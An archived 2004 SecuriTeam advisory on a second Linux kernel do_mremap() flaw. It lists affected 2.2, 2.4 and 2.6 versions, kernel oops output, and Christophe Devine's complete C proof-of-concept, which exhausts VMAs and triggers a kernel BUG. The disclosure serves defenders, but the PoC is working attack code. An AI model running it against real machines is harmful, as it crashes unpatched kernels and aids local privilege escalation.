

[EXPL] Linux Kernel do_mremap VMA Limit Local Privilege Escalation PoC

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0052.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 02/18/04

To: list@securiteam.com

Date: 18 Feb 2004 18:23:37 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Linux Kernel do_mremap VMA Limit Local Privilege Escalation PoC

SUMMARY

A critical security vulnerability has been found in the Linux kernel memory management code inside the mremap(2) system call due to missing function return value check. This bug is completely unrelated to the mremap bug disclosed on 05-01-2004 except concerning the same internal kernel function code. This PoC exploit can be used to check if a Linux system is vulnerable to the second do_mremap() bug; the code has only been tested on Linux version 2.4.22 so far.

DETAILS

Vulnerable Systems:

- * Linux version 2.2 up to 2.2.25
- * Linux version 2.4 up to 2.4.24
- * Linux version 2.6 up to 2.6.2

```
$ gcc -W -Wall mremap_poc_2.c && ./a.out
mmap: Cannot allocate memory
created ~65530 VMAs
now mremapping 0x3FFE5000 at 0x3FFE1000
```

Securiteam: [EXPL] Linux Kernel do_mremap VMA Limit Local Privilege Escalation PoC

Segmentation fault

```
$ dmesg | tail -n 16
kernel BUG at mmap.c:1194!
invalid operand: 0000
CPU: ? ?0
EIP: ? ?0010:[< c01239b5>] ? ?Not tainted
EFLAGS: 00010287
eax: 3ffe2000 ? ebx: ce189f80 ? ecx: ce189f38 ? edx: ce189f20
esi: ce189fc4 ? edi: ce189f04 ? ebp: ce189ec0 ? esp: cf101f44
ds: 0018 ? es: 0018 ? ss: 0018
Process a.out (pid: 5371, stackpage=cf101000)
Stack: ce189f80 ce189fc4 ce189f04 3ffe1000 3ffe1000 c012873f cf1b66e0
c01287c7
cf1b66e0 ce189ec0 cf100000 00001000 cf1b66fc ffff0001 cf1b66e0 00000000
c339df1c ce189ec0 cf100000 fffffff4 ce189e60 c0128896 3ffe5000 00001000
Call Trace: ? ?[< c012873f>] [< c01287c7>] [< c0128896>] [< c01086b3>]
Code: 0f 0b aa 04 21 f9 2d c0 8b 7c 24 10 8b 74 24 14 8b 5c 24 18
```

Exploit:

```
/*
 * Proof-of-concept exploit code for do_mremap() #2
 *
 * Copyright (C) 2004 Christophe Devine
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
 */

#include < asm/unistd.h>
#include < sys/mman.h>
#include < unistd.h>
#include < stdio.h>
#include < errno.h>

#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2

#define MREMAP_FLAGS MREMAP_MAYMOVE | MREMAP_FIXED
```

Securiteam: [EXPL] Linux Kernel do_mremap VMA Limit Local Privilege Escalation PoC

```
#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
                        size_t, old_size, size_t, new_size,
                        unsigned long, flags, void *, new_address );

#define VMA_SIZE 0x00003000

int main( void )
{
    int i, ret;
    void *base0;
    void *base1;

    i = 0;

    while( 1 )
    {
        i++;

        ret = (int) mmap( (void *)( i * (VMA_SIZE + 0x1000) ),
                        VMA_SIZE, PROT_READ | PROT_WRITE,
                        MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

        if( ret == -1 )
        {
            perror( "mmap" );
            break;
        }

        base0 = base1;
        base1 = (void *) ret;
    }

    printf( "created ~%d VMAs\n", i );

    base0 += 0x1000;
    base1 += 0x1000;

    printf( "now mremapping 0x%08X at 0x%08X\n",
           (int) base1, (int) base0 );

    real_mremap( base1, 4096, 4096, MREMAP_FLAGS, base0 );

    printf( "kernel may not be vulnerable\n" );

    return( 0 );
}
```

ADDITIONAL INFORMATION

Securiteam: [EXPL] Linux Kernel do_mremap VMA Limit Local Privilege Escalation PoC

The information has been provided by <mailto:devine@iie.cnam.fr>
Christophe Devine.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.